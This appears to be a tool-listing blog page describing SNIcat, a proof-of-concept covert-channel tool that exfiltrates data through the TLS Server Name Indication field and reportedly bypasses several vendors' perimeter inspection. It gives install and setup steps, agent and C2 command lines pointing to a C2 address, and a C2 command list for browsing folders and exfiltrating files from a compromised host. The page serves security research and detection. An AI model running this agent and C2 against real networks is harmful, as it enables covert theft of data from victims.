SNIcat : Server Name Indication Concatenator

SNIcat is a proof of concept tool that performs data exfiltration, utilizing a covert channel method via. Server Name Indication, a TLS Client Hello Extension.

The tool consists of an agent which resides on the compromised internal host, and a Command&Control Server which controls the agent and gathers exfiltrated data.

Background & Scenario

We discovered a new stealthy method of data exfiltration that specifically bypasses security perimeter solutions such as web proxies, next generation firewalls (NGFW), and dedicated solutions for TLS interception and inspection. Our testing validates that this is a widespread issue that affects different types of security solutions as well as solutions from a variety of vendors. We successfully tested our technique against products from F5 Networks, Palo Alto Networks and Fortinet, and speculate that many other vendors also are susceptible.

By using our exfiltration method SNIcat, we found that we can bypass a security perimeter solution performing TLS inspection, even when the Command & Control (C2) domain we use is blocked by common reputation and threat prevention features built into the security solutions themselves. In short, we found that solutions designed to protect users, introduced them to a new vulnerability.

We have also provided a Suricata signature for detecting this specific tool.

Installation

  • Clone the repository:

https://github.com/mnemonic-no/SNIcat.git

  • Install dependencies:

pip3 install -r requirements.txt –user

Initial Setup

  • C2

Aquire a wildcard certificate and key from a publically trusted CA. This represents the GOOD_CERT and GOOD_CERT_KEY.
Utilise a self-signed certificate and key (not in any trust store) as a BAD_CERT and BAD_CERT_KEY.

(*) USAGE: ‘python3 snicat_c2.py log={on|off}’
(*) EXAMPLE: ‘python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off’

  • Agent

(*) USAGE: ‘python3 snicat_agent.py log={on|off}’
(*) Example: ‘python3 snicat_agent.py 192.0.2.1 443 log=off’

Usage

C2 Available commands

LIST – display all content in current folder
LS – display only files in the currenet folder
SIZE – display size of files in the currenet folder
LD – display every directory in current folder
CB – moves down to root tree folder – similar to ‘cd .. ‘
CD – moves up the specified folder
EX – exfiltrate the specified file
ALIVE – check alive/dead agent
EXIT – quit the C2 server

R K

Recent Posts

Starship : Revolutionizing Terminal Experiences Across Shells

Starship is a powerful, minimal, and highly customizable cross-shell prompt designed to enhance the terminal…

1 day ago

Lemmy : A Decentralized Link Aggregator And Forum For The Fediverse

Lemmy is an innovative, open-source platform designed for link aggregation and discussion, providing a decentralized…

1 day ago

Massive UX Improvements, Custom Disassemblers, And MSVC Support In ImHex v1.37.0

The latest release of ImHex v1.37.0 introduces a host of exciting features and improvements, enhancing…

2 days ago

Ghauri : A Powerful SQL Injection Detection And Exploitation Tool

Ghauri is a cutting-edge, cross-platform tool designed to automate the detection and exploitation of SQL…

2 days ago

Writing Tools : Revolutionizing The Art Of Writing

Writing tools have become indispensable for individuals looking to enhance their writing efficiency, accuracy, and…

2 days ago

PatchWerk : A Tool For Cleaning NTDLL Syscall Stubs

PatchWerk is a proof-of-concept (PoC) tool designed to clean NTDLL syscall stubs by patching syscall…

2 days ago